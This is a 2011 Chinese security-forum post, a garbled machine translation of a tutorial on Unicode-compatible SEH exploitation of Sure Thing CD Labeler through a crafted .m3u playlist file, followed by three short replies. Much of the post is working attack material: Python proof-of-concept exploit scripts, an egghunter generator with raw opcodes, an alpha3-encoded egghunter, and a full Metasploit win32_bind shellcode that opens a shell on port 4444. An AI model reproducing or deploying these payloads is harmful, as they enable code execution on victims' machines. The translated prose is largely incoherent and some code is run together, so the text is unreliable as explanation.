首页
社区
课程
招聘
[旧帖] [原创]Unicode神奇的利用0×00410041 0.00雪花
发表于: 2011-7-6 09:22 1838

[旧帖] [原创]Unicode神奇的利用0×00410041 0.00雪花

2011-7-6 09:22
1838
作者:CK

博客:http://hi.baidu.com/chinacck/home

好让你可以利用EIP和SEH覆盖和你获得的这个相当简单的过程无聊... ...有一天你的模糊距离,然后boooom!you see:你看:


我要谈什么Unicode是短暂以及如何编写自定义的shellcode是Unicode的兼容执行您选择的代码。该技术是一种非常难学无PoC的利用工作,通过,所以我将提供一个例子来帮助演示了这些技术,同时呈现出常见的陷阱和如何避免它们。

得到自己一个漂亮的字符的独特模式。

这是什么的Unicode?

Unicode是没有什么更多的受限制的字符集(转换后),往往得到了包括0 × 00字节的原始字符串扩大。通常,这种类型转换字符集之前执行我们的攻击缓冲区入堆栈传递。 MultiByteToWideChar().申请之前,在堆栈上放置我们的攻击缓冲区的函数被调用MultiByteToWideChar()。这需要一些重要的参数,如类的代码页,使用(一般ANSI),从而决定了转换类型执行。

第1步-崩溃的应用程序:

通过解析的应用程序崩溃是恶意。M3U或。PLS文件中有一个大的字符串。受害人必须点击播放列表 - >导入播放从硬盘驱动器 - >导入播放列表从一个在我的电脑文件 - >选择文件通用mr3/pls然后终于打开文件的恶意m3u/pls。同样,如果做得正确,你会看到SEH处理程序与0 × 00410041覆盖。

第2步-确定补偿:

在什么时候做的应用程序崩溃?凡在我们的字符串缓冲区做我们的SEH处理程序的控制?让我们用pvefindaddr.py得到自己一个漂亮的字符的独特模式。


这种模式是应课税这里:C:\ Program Files文件\免疫公司\免疫调试器\ mspattern.txt。 一旦我们有我们的模式中,我们将其粘贴到我们的基本蟒蛇PoC的利用它:

#!/usr/bin/env python
# Exploit for sure thing cd labeler (m3u/pls)
# by mr_me
exploit = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A"..
attack = open('surething.m3u','w')
attack.write(exploit)
attack.close()
现在我们执行的利用并加载到应用程序的新的安全漏洞的文件。.从这里我们所要做的就是执行!pvefindaddr建议。


我们被告知的SEH处理程序,并认为它是Unicode的确切偏移!但必须记住,这种技术可以通过使用MSF的pattern_offset工具或填写这样我们的攻击字符串手动:<AAAABBBB>和工作了其中一半的SEH处理程序试图执行。这得到进一步收窄,直到我们达到我们的确切位置(这种方法需要很大的耐心)。

好所以现在我们知道,我们的偏移量是264,没有什么新的,直到这里了。

第3步-疼痛开始,寻找一个指令,将带我们回到堆栈:

首先,在试图寻找一个地址,让确定哪些模块SAFESEH保护,所以我们知道哪些以避免(即使pvefindaddr.py自动执行此反正知道它的好)。


好完美! 所以我们知道,CD贴标机是肯定的事不SAFESEH保护(stcd.exe核心模块不保护).. silly silly. tsk tsk.

现在我们需要找出这些可能说明任何一个有效的地址:

噗RET

ADD ESP 8,RETN

CALL DWORD PTR SS


最后一件事,我没有提到的是,你必须追加一个“PUSH EAX; RETN'的指令集,使我们可以回到我们的新的shellcode的位置堆栈。

指令/助记符  十六进制字节
push eax \x50
retn \xc3

阶段5 - 编码的shellcode:

所以现在好了,我们有有效载荷的空间和一个寄存器指向我们的有效载荷空间,我们可以开始编码了一些,希望能得到执行的shellcode。唯一的shellcode是可行的和值得使用的执行是一个egghunter有效载荷。任何通用的shellcode(完全编码)将是太大,我们使用。也许我们可以使用硬地址的shellcode(以减少空间的使用),但这会使PoC的不可靠。我们的使命是让PoC的非常可靠。我们如何为这样的unicode编码漏洞的shellcode?

我们将写一些很简单的代码来帮助我们:

01020304050607080910111213141516171819202122 #!/usr/bin/env python# egghunter gen by mr_me# outputs raw egg into a file# good for ascii/unicode encodingimportsys, os  iflen(sys.argv) <2:        print"\nUsage: "+sys.argv[0]+" <4 char tag>\n"        sys.exit(0)  iflen(sys.argv[1]) !=4:        print"[-] Please provide a string that is four bytes exactly"        sys.exit(0)  egg_head="\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"egg_tail="\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"  egghunter=egg_head+sys.argv[1]+egg_tailrawEgg=open('eh','w')rawEgg.write(egghunter)rawEgg.close()print"\n[+] Created  raw egg in file: eh\n"

因此,这实质上是将输出到一个文件名为“EH”egghunter。现在我们用alpha3由编码器skylined某些Unicode编码的shellcode。


其结果是Unicode友好的shellcode @ 198基字节寄存器设置为EAX。

第6步 - 全部放在一起:

好让我们知道,正好是8个字节为我们的第一个垃圾缓冲区是我们的shellcode应该去。没问题,让我们的攻击字符串现在看:

[junk - 8 bytes][egghunter - 198 bytes][junk - 58 bytes][nseh][seh][align eax shellcode][junk - 300 bytes][heap junk]

POC的利用至今:

0102030405060708091011121314151617181920212223242526272829303132333435 #!/usr/bin/env python# Exploit for sure thing cd labeler (m3u/pls)# by mr_me  egghunter=("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI""AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO""0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9WKO9WKPA");  exploit="\x41"*8exploit+=egghunterexploit+="\x41"*(264-len(exploit))# the difference left out of 264 bytesexploit+="\x41\x6d"     # nseh - 'walk' over itself and seh (so we dont upset anything)exploit+="\x72\x73"     # SEHexploit+="\x58"         # pop eaxexploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x58"         # pop eaxexploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x58"         # pop eaxexploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x58"         # pop eaxexploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x05\x01\x11"# add eax, 11000100exploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x2d\x03\x11"# sub eax, 11000300exploit+="\x6d"         # nop/align - becomes add byte ptr [ebp],chexploit+="\x50"         # push eaxexploit+="\x6d"         # nop/align - bocomes add byte ptr [ebp],chexploit+="\xc3"         # retn - get back to the stack and execute our shellcodeexploit+="\x42"*400   # stack junkexploit+="w00tw00t"     # egghunter tag (in heap memory)exploit+="\xcc"*1000  # software break points (test if we land here, in heap memory)  attack=open('surething.m3u','w')attack.write(exploit)attack.close()
让执行这个,看我们如何去:


哇!所以我们可以看到,我们打我们的软件破发点!经过进一步使用测试'!pvefindaddr比较“(写入到一个文件中的shellcode)和手动挖坏字符我们可以看到,我们的shellcode命中堆内存未修改!


所以忘记不必再进行编码,我们可以把标签后w00tw00t几乎所有的shellcode,它会执行。让我们用一些真正的shellcode:

01020304050607080910111213141516171819202122232425262728293031323334353637383940414243444546474849 # win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum#http://metasploit.com  unsigned char bind[] ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49""\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36""\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34""\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41""\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e""\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58""\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47""\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58""\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38""\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a""\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30""\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57""\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58""\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30""\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c""\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44""\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50""\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f""\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33""\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f""\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f""\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50""\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d""\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45""\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f""\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38""\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55""\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d""\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d""\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38""\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35""\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37""\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56""\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56""\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54""\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54""\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53""\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51""\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35""\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35""\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c""\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f""\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f""\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e""\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";

结果... ...


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 255
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
图片全都没有
2011-7-6 16:32
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
3
敢问lz有没有最后得到结果,我这个早测试过。不过当时因为自己实战没有得到结果。感觉这样是对自己不负责。想问问你的测试结果如何呢?
2011-7-14 21:32
0
雪    币: 878
活跃值: (496)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
机械翻译原创
2011-7-14 21:37
0
游客
登录 | 注册 方可回帖
返回
//